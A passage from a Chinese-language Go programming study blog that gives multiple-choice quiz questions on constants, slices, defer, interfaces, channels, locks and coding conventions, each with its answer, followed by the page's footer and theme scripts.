<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">const</span> (<br> size <span class="hljs-keyword">int64</span> = <span class="hljs-number">1024</span><br> eof = <span class="hljs-number">-1</span><br>)<br></code></pre></td></tr></table></figure>
<ol start="3" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">const</span> (<br> ERR_ELEM_EXIST error = errors.New(<span class="hljs-string">"element already exists"</span>)<br> ERR_ELEM_NT_EXIST error = errors.New(<span class="hljs-string">"element not exists"</span>)<br>) <span class="hljs-comment">// Const initializer 'errors.New("element already exists")' is not a constant</span><br></code></pre></td></tr></table></figure>
<ol start="4" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">const</span> u, v <span class="hljs-keyword">float32</span> = <span class="hljs-number">0</span>, <span class="hljs-number">3</span><br><span class="hljs-keyword">const</span> a, b, c = <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-string">"foo"</span><br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABD</p>
</div>
</div>
<p>13.关于布尔变量b的赋值,下面错误的用法是()</p>
<p>A. <code>b = true</code></p>
<p>B. <code>b = 1 // Cannot use '1' (type untyped int) as type bool in assignment</code></p>
<p>C. <code>b = bool(1) //Cannot convert expression of type int to type bool</code></p>
<p>D. <code>b = (1 == 2)</code></p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BC</p>
</div>
</div>
<p>14.下面的程序的运行结果是()</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">if</span> (<span class="hljs-literal">true</span>) {<br> <span class="hljs-keyword">defer</span> fmt.Printf(<span class="hljs-string">"1"</span>)<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">defer</span> fmt.Printf(<span class="hljs-string">"2"</span>)<br> }<br> fmt.Printf(<span class="hljs-string">"3"</span>)<br>}<br></code></pre></td></tr></table></figure>
<p>A. 321</p>
<p>B. 32</p>
<p>C. 31</p>
<p>D. 13</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>C</p>
</div>
</div>
<p>15.关于switch语句,下面说法正确的有()</p>
<p>A. 条件表达式必须为常量或者整数</p>
<p>B. 单个case中,可以出现多个结果选项</p>
<p>C. 需要用break来明确退出一个case</p>
<p>D. 只有在case中明确添加fallthrough关键字,才会继续执行紧跟的下一个case</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BD</p>
</div>
</div>
<p>16.golang中没有隐藏的this指针,这句话的含义是()</p>
<p>A. 方法施加的对象显式传递,没有被隐藏起来</p>
<p>B. golang沿袭了传统面向对象编程中的诸多概念,比如继承、虚函数和构造函数</p>
<p>C. golang的面向对象表达更直观,对于面向过程只是换了一种语法形式来表达</p>
<p>D. 方法施加的对象不需要非得是指针,也不用非得叫this</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ACD</p>
</div>
</div>
<p>17.golang中的引用类型包括()</p>
<p>A. 数组切片</p>
<p>B. map</p>
<p>C. channel</p>
<p>D. interface</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABCD</p>
</div>
</div>
<p>18.golang中的指针运算包括()</p>
<p>A. 可以对指针进行自增或自减运算</p>
<p>B. 可以通过“&”取指针的地址</p>
<p>C. 可以通过“*”取指针指向的数据</p>
<p>D. 可以对指针进行下标运算</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BC</p>
</div>
</div>
<p>19.关于main函数(可执行程序的执行起点),下面说法正确的是()</p>
<p>A. main函数不能带参数</p>
<p>B. main函数不能定义返回值</p>
<p>C. main函数所在的包必须为main包</p>
<p>D. main函数中可以使用flag包来获取和解析命令行参数</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABCD</p>
</div>
</div>
<p>20.下面赋值正确的是()</p>
<p>A. var x = nil</p>
<p>B. var x interface{} = nil</p>
<p>C. var x string = nil</p>
<p>D. var x error = nil</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BD</p>
</div>
</div>
<p>21.关于整型切片的初始化,下面正确的是()</p>
<p>A. s := make([]int)</p>
<p>B. s := make([]int, 0)</p>
<p>C. s := make([]int, 5, 10)</p>
<p>D. s := []int{1, 2, 3, 4, 5}</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BCD</p>
</div>
</div>
<p>22.从切片中删除一个元素,下面的算法实现正确的是()</p>
<ol type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(s *Slice)</span><span class="hljs-title">Remove</span><span class="hljs-params">(value <span class="hljs-keyword">interface</span>{})</span> <span class="hljs-title">error</span></span> {<br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> *s {<br> <span class="hljs-keyword">if</span> isEqual(value, v) {<br> <span class="hljs-keyword">if</span> i== <span class="hljs-built_in">len</span>(*s) - <span class="hljs-number">1</span> {<br> *s = (*s)[:i]<br> }<span class="hljs-keyword">else</span> {<br> *s = <span class="hljs-built_in">append</span>((*s)[:i],(*s)[i + <span class="hljs-number">2</span>:]...)<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br> }<br> }<br> <span class="hljs-keyword">return</span> ERR_ELEM_NT_EXIST<br>}<br></code></pre></td></tr></table></figure>
<ol start="2" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(s *Slice)</span><span class="hljs-title">Remove</span><span class="hljs-params">(value <span class="hljs-keyword">interface</span>{})</span> <span class="hljs-title">error</span></span> {<br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> *s {<br> <span class="hljs-keyword">if</span> isEqual(value, v) {<br> *s = <span class="hljs-built_in">append</span>((*s)[:i],(*s)[i + <span class="hljs-number">1</span>:])<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br> }<br> }<br> <span class="hljs-keyword">return</span> ERR_ELEM_NT_EXIST<br>}<br></code></pre></td></tr></table></figure>
<ol start="3" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(s *Slice)</span><span class="hljs-title">Remove</span><span class="hljs-params">(value <span class="hljs-keyword">interface</span>{})</span> <span class="hljs-title">error</span></span> {<br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> *s {<br> <span class="hljs-keyword">if</span> isEqual(value, v) {<br> <span class="hljs-built_in">delete</span>(*s, v)<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br> }<br> }<br> <span class="hljs-keyword">return</span> ERR_ELEM_NT_EXIST<br>}<br></code></pre></td></tr></table></figure>
<ol start="4" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(s *Slice)</span><span class="hljs-title">Remove</span><span class="hljs-params">(value <span class="hljs-keyword">interface</span>{})</span> <span class="hljs-title">error</span></span> {<br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> *s {<br> <span class="hljs-keyword">if</span> isEqual(value, v) {<br> *s = <span class="hljs-built_in">append</span>((*s)[:i],(*s)[i + <span class="hljs-number">1</span>:]...)<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br> }<br> }<br> <span class="hljs-keyword">return</span> ERR_ELEM_NT_EXIST<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>D</p>
</div>
</div>
<p>23.关于变量的自增和自减操作,下面语句正确的是()</p>
<ol type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go">i := <span class="hljs-number">1</span><br>i++<br></code></pre></td></tr></table></figure>
<ol start="2" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go">i := <span class="hljs-number">1</span><br>j = i++ <span class="hljs-comment">// ',', ';', new line or '}' expected, got '++'</span><br></code></pre></td></tr></table></figure>
<ol start="3" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go">i := <span class="hljs-number">1</span><br>++i<br></code></pre></td></tr></table></figure>
<ol start="4" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go">i := <span class="hljs-number">1</span><br>i--<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AD</p>
</div>
</div>
<p>24.关于函数声明,下面语法错误的是()</p>
<p>A. func f(a, b int) (value int, err error)</p>
<p>B. func f(a int, b int) (value int, err error)</p>
<p>C. func f(a, b int) (value int, error)</p>
<p>D. func f(a int, b int) (int, int, error)</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>C</p>
</div>
</div>
<p>25.如果Add函数的调用代码为:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> a Integer = <span class="hljs-number">1</span><br> <span class="hljs-keyword">var</span> b Integer = <span class="hljs-number">2</span><br> <span class="hljs-keyword">var</span> i <span class="hljs-keyword">interface</span>{} = &a<br> sum := i.(*Integer).Add(b)<br> fmt.Println(sum)<br>}<br></code></pre></td></tr></table></figure>
<p>则Add函数定义正确的是()</p>
<ol type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> a + b<br>}<br></code></pre></td></tr></table></figure>
<ol start="2" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b *Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> a + *b<br>}<br></code></pre></td></tr></table></figure>
<ol start="3" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a *Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> *a + b<br>}<br></code></pre></td></tr></table></figure>
<ol start="4" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a *Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b *Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> *a + *b<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AC</p>
</div>
</div>
<p>26.如果Add函数的调用代码为:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> a Integer = <span class="hljs-number">1</span><br> <span class="hljs-keyword">var</span> b Integer = <span class="hljs-number">2</span><br> <span class="hljs-keyword">var</span> i <span class="hljs-keyword">interface</span>{} = a<br> sum := i.(Integer).Add(b)<br> fmt.Println(sum)<br>}<br></code></pre></td></tr></table></figure>
<p>则Add函数定义正确的是()</p>
<ol type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> a + b<br>}<br></code></pre></td></tr></table></figure>
<ol start="2" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b *Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> a + *b<br>}<br></code></pre></td></tr></table></figure>
<ol start="3" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a *Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> *a + b<br>}<br></code></pre></td></tr></table></figure>
<ol start="4" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Integer <span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(a *Integer)</span> <span class="hljs-title">Add</span><span class="hljs-params">(b *Integer)</span> <span class="hljs-title">Integer</span></span> {<br> <span class="hljs-keyword">return</span> *a + *b<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AC</p>
</div>
</div>
<p>27.关于GetPodAction定义,下面赋值正确的是()</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Fragment <span class="hljs-keyword">interface</span> {<br> Exec(transInfo *TransInfo) error<br>}<br><span class="hljs-keyword">type</span> GetPodAction <span class="hljs-keyword">struct</span> {<br>}<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(g GetPodAction)</span> <span class="hljs-title">Exec</span><span class="hljs-params">(transInfo *TransInfo)</span> <span class="hljs-title">error</span></span> {<br> ...<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br>}<br></code></pre></td></tr></table></figure>
<p>A. var fragment Fragment = new(GetPodAction)</p>
<p>B. var fragment Fragment = GetPodAction</p>
<p>C. var fragment Fragment = &GetPodAction{}</p>
<p>D. var fragment Fragment = GetPodAction{}</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ACD</p>
</div>
</div>
<p>28.关于GoMock,下面说法正确的是()</p>
<p>A. GoMock可以对interface打桩</p>
<p>B. GoMock可以对类的成员函数打桩</p>
<p>C. GoMock可以对函数打桩</p>
<p>D. GoMock打桩后的依赖注入可以通过GoStub完成</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AD</p>
</div>
</div>
<p>29.关于接口,下面说法正确的是()</p>
<p>A. 只要两个接口拥有相同的方法列表(次序不同不要紧),那么它们就是等价的,可以相互赋值</p>
<p>B. 如果接口A的方法列表是接口B的方法列表的子集,那么接口B可以赋值给接口A</p>
<p>C. 接口查询是否成功,要在运行期才能够确定</p>
<p>D. 接口赋值是否可行,要在运行期才能够确定</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABC</p>
</div>
</div>
<p>30.关于channel,下面语法正确的是()</p>
<p>A. var ch chan int</p>
<p>B. ch := make(chan int)</p>
<p>C. <- ch</p>
<p>D. ch <-</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABC</p>
</div>
</div>
<p>31.关于同步锁,下面说法正确的是()</p>
<p>A. 当一个goroutine获得了Mutex后,其他goroutine就只能乖乖的等待,除非该goroutine释放这个Mutex</p>
<p>B. RWMutex在读锁占用的情况下,会阻止写,但不阻止读</p>
<p>C. RWMutex在写锁占用情况下,会阻止任何其他goroutine(无论读和写)进来,整个锁相当于由该goroutine独占</p>
<p>D. Lock()操作需要保证有Unlock()或RUnlock()调用与之对应</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABC</p>
</div>
</div>
<p>32.golang中大多数数据类型都可以转化为有效的JSON文本,下面几种类型除外()</p>
<p>A. 指针</p>
<p>B. channel</p>
<p>C. complex</p>
<p>D. 函数</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BCD</p>
</div>
</div>
<p>33.关于go vendor,下面说法正确的是()</p>
<p>A. 基本思路是将引用的外部包的源代码放在当前工程的vendor目录下面</p>
<p>B. 编译go代码会优先从vendor目录先寻找依赖包</p>
<p>C. 可以指定引用某个特定版本的外部包</p>
<p>D. 有了vendor目录后,打包当前的工程代码到其他机器的$GOPATH/src下都可以通过编译</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABD</p>
</div>
</div>
<p>34.flag是bool型变量,下面if表达式符合编码规范的是()</p>
<p>A. if flag == 1</p>
<p>B. if flag</p>
<p>C. if flag == false</p>
<p>D. if !flag</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BD</p>
</div>
</div>
<p>35.value是整型变量,下面if表达式符合编码规范的是()</p>
<p>A. if value == 0</p>
<p>B. if value</p>
<p>C. if value != 0</p>
<p>D. if !value</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AC</p>
</div>
</div>
<p><a target="_blank" rel="noopener" href="https://www.kancloud.cn/yanshandou/kam2/598850">流程图</a></p>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/kity.min.js"></script><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/kityminder.core.min.js"></script><script defer="true" type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/mindmap.min.js"></script><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/mindmap.min.css"><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>
</div>
<hr/>
<div>
<div class="post-metas my-3">
<div class="post-meta mr-3 d-flex align-items-center">
<i class="iconfont icon-category"></i>
<span class="category-chains">
<span class="category-chain">
<a href="/categories/Golang/" class="category-chain-item">Golang</a>
</span>
</span>
</div>
<div class="post-meta">
<i class="iconfont icon-tags"></i>
<a href="/tags/Go/">#Go</a>
<a href="/tags/ADT/">#ADT</a>
</div>
</div>
<div class="license-box my-3">
<div class="license-title">
<div>【Go】学习笔记</div>
<div>https://weitrue.github.io/2021/02/07/golang/</div>
</div>
<div class="license-meta">
<div class="license-meta-item">
<div>作者</div>
<div><NAME></div>
</div>
<div class="license-meta-item license-meta-date">
<div>发布于</div>
<div>2021年2月7日</div>
</div>
<div class="license-meta-item">
<div>许可协议</div>
<div>
<a target="_blank" href="https://creativecommons.org/licenses/by/4.0/">
<span class="hint--top hint--rounded" aria-label="BY - 署名">
<i class="iconfont icon-by"></i>
</span>
</a>
</div>
</div>
</div>
<div class="license-icon iconfont"></div>
</div>
<div class="post-prevnext my-3">
<article class="post-prev col-6">
<a href="/2021/03/05/lt-linkedList/" title="【LeetCode】线性表相关问题">
<i class="iconfont icon-arrowleft"></i>
<span class="hidden-mobile">【LeetCode】线性表相关问题</span>
<span class="visible-mobile">上一篇</span>
</a>
</article>
<article class="post-next col-6">
<a href="/2021/01/11/ml/" title="【ML】机器学习概述与简单应用">
<span class="hidden-mobile">【ML】机器学习概述与简单应用</span>
<span class="visible-mobile">下一篇</span>
<i class="iconfont icon-arrowright"></i>
</a>
</article>
</div>
</div>
</article>
</div>
</div>
</div>
<div class="side-col d-none d-lg-block col-lg-2">
<aside class="sidebar" style="margin-left: -1rem">
<div id="toc">
<p class="toc-header">
<i class="iconfont icon-list"></i>
<span>目录</span>
</p>
<div class="toc-body" id="toc-body"></div>
</div>
</aside>
</div>
</div>
</div>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/mermaid@8/dist/mermaid.min.js', function() {
mermaid.initialize({"theme":"default"});
Fluid.events.registerRefreshCallback(function() {
if ('mermaid' in window) {
mermaid.init();
}
});
});
</script>
<a id="scroll-top-button" aria-label="TOP" href="#" role="button">
<i class="iconfont icon-arrowup" aria-hidden="true"></i>
</a>
<div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
aria-hidden="true">
<div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
<div class="modal-content">
<div class="modal-header text-center">
<h4 class="modal-title w-100 font-weight-bold">搜索</h4>
<button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body mx-3">
<div class="md-form mb-5">
<input type="text" id="local-search-input" class="form-control validate">
<label data-error="x" data-success="v" for="local-search-input">关键词</label>
</div>
<div class="list-group" id="local-search-result"></div>
</div>
</div>
</div>
</div>
</main>
<footer>
<div class="footer-inner">
<div class="footer-content">
<a href="#" target="_blank" rel="nofollow noopener"><span>Wei</span></a> <i class="iconfont icon-love"></i> <a href="#" target="_blank" rel="nofollow noopener"><span>Trable</span></a> <div style="font-size: 0.85rem"> <span id="timeDate">载入天数...</span> <span id="times">载入时分秒...</span> <script src="/cus_js/duration.js"></script> </div>
</div>
<div class="statistics">
<span id="busuanzi_container_site_pv" style="display: none">
总访问量
<span id="busuanzi_value_site_pv"></span>
次
</span>
<span id="busuanzi_container_site_uv" style="display: none">
总访客数
<span id="busuanzi_value_site_uv"></span>
人
</span>
</div>
<!-- 备案信息 ICP for China -->
<div class="beian">
<span>
<a href="http://beian.miit.gov.cn/" target="_blank" rel="nofollow noopener">
杭ICP证123456号
</a>
</span>
<span>
<a
href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=12345678"
rel="nofollow noopener"
class="beian-police"
target="_blank"
>
<span style="visibility: hidden; width: 0">|</span>
<img src="/images/img/police_beian.png" srcset="/img/loading.gif" lazyload alt="police-icon"/>
<span>杭公网安备12345678号</span>
</a>
</span>
</div>
</div>
</footer>
<!-- Scripts -->
<script src="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.js" ></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.css" />
<script>
NProgress.configure({"showSpinner":false,"trickleSpeed":100})
NProgress.start()
window.addEventListener('load', function() {
NProgress.done();
})
</script>
<script src="https://cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js" ></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/js/bootstrap.min.js" ></script>
<script src="/js/events.js" ></script>
<script src="/js/plugins.js" ></script>
<script src="https://cdn.jsdelivr.net/npm/typed.js@2/lib/typed.min.js" ></script>
<script>
(function (window, document) {
var typing = Fluid.plugins.typing;
var subtitle = document.getElementById('subtitle');
if (!subtitle || !typing) {
return;
}
var text = subtitle.getAttribute('data-typed-text');
typing(text);
})(window, document);
</script>
<script src="/js/img-lazyload.js" ></script>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/tocbot@4/dist/tocbot.min.js', function() {
var toc = jQuery('#toc');
if (toc.length === 0 || !window.tocbot) { return; }
var boardCtn = jQuery('#board-ctn');
var boardTop = boardCtn.offset().top;
window.tocbot.init(Object.assign({
tocSelector : '#toc-body',
contentSelector : '.markdown-body',
linkClass : 'tocbot-link',
activeLinkClass : 'tocbot-active-link',
listClass : 'tocbot-list',
isCollapsedClass: 'tocbot-is-collapsed',
collapsibleClass: 'tocbot-is-collapsible',
scrollSmooth : true,
includeTitleTags: true,
headingsOffset : -boardTop,
}, CONFIG.toc));
if (toc.find('.toc-list-item').length > 0) {
toc.css('visibility', 'visible');
}
Fluid.events.registerRefreshCallback(function() {
if ('tocbot' in window) {
tocbot.refresh();
var toc = jQuery('#toc');
if (toc.length === 0 || !tocbot) {
return;
}
if (toc.find('.toc-list-item').length > 0) {
toc.css('visibility', 'visible');
}
}
});
});
</script>
<script src=https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js></script>
<script>Fluid.plugins.codeWidget();</script>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/anchor-js@4/anchor.min.js', function() {
window.anchors.options = {
placement: CONFIG.anchorjs.placement,
visible : CONFIG.anchorjs.visible
};
if (CONFIG.anchorjs.icon) {
window.anchors.options.icon = CONFIG.anchorjs.icon;
}
var el = (CONFIG.anchorjs.element || 'h1,h2,h3,h4,h5,h6').split(',');
var res = [];
for (var item of el) {
res.push('.markdown-body > ' + item.trim());
}
if (CONFIG.anchorjs.placement === 'left') {
window.anchors.options.class = 'anchorjs-link-left';
}
window.anchors.add(res.join(', '));
Fluid.events.registerRefreshCallback(function() {
if ('anchors' in window) {
anchors.removeAll();
